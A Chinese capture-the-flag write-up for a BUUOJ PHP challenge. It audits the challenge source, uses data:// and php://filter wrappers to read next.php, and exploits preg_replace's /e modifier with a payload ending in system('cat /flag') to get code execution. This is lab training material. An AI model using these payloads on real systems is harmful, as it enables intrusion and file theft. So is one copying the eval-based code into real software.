题目地址:https://buuoj.cn
本题涉及的知识点
preg_replace /e 参数的代码执行 https://xz.aliyun.com/t/2557
PHP中的可变变量
审计代码
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
-
这里要用到php伪协议
-
file_get_contents,读取文件,或url中的内容
-
使用data协议向text参数中传递内容
?text=data://text/plain,I have a dream
-
由于php代码不可能直接打印到网页中(如果没有用特殊的函数)
- 使用php://filter
&file=php://filter/read=convert.base64-encode/resource=next.php
-
得到base64编码:
- 解码得:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
-
代码审计
- 实际上得到代码的主体部分就是
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
分析:很明显,题目的用意是想让我们通过complex函数引出getFlag函数,来实现PHP代码执行
函数漏洞的利用
- 因为complex函数中存在
/e
修饰preg_repalce
函数的第一个参数,这会致使preg_repalce
函数的第二个参数会被当做PHP代码执行。而本题代码中
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")',$str);
\\1
是\1
的转义,而\1
涉及到了正则表达式中的反向引用(知识套知识,知识何其多),可以简单的理解为第一个子匹配项,这里\1
的实际值就是preg_replace
函数的一个参数,也就是$re
的值
-
strtolower()函数就是将参数内容小写
-
既然preg_replace的第二个参数可控!那么传入
/next?/S*=${@getFlag()}
,这样,就会执行getFlag函数- 不懂的话就仔细看看 https://xz.aliyun.com/t/2557
-
同时getFlag()函数执行,是需要有$_GET[‘cmd’]的,所以最终的结果是
next.php?\S*=${@getFlag()}&cmd="system('cat /flag');"
为什么flag在根目录下,而且文件名是flag…ctf尿性…